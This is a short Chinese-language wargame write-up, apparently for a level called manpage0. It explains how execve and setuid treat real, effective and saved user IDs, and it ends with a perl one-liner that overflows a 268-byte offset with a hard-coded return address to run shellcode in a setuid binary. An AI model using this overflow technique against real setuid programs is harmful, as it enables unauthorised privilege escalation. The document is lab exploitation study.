有2点:
- execve,如果ST_NOSUID没有设的话,新执行的程序的rid不变,eid会变如果suid设了,saved suid也会被保存为eid,这样我们就可以在之后用setuid来恢复
- setuid如果权限够了(root?),就把2个id都设了;否则只设eid,rid和saved suid不变
于是还是溢出,不过shellcode中要先恢复权限
dest和返回地址距离是256+8+4=268,于是
$ /manpage/manpage0 `perl -e 'print "A"x268 . "\xd8\xd8\xff\xff"'`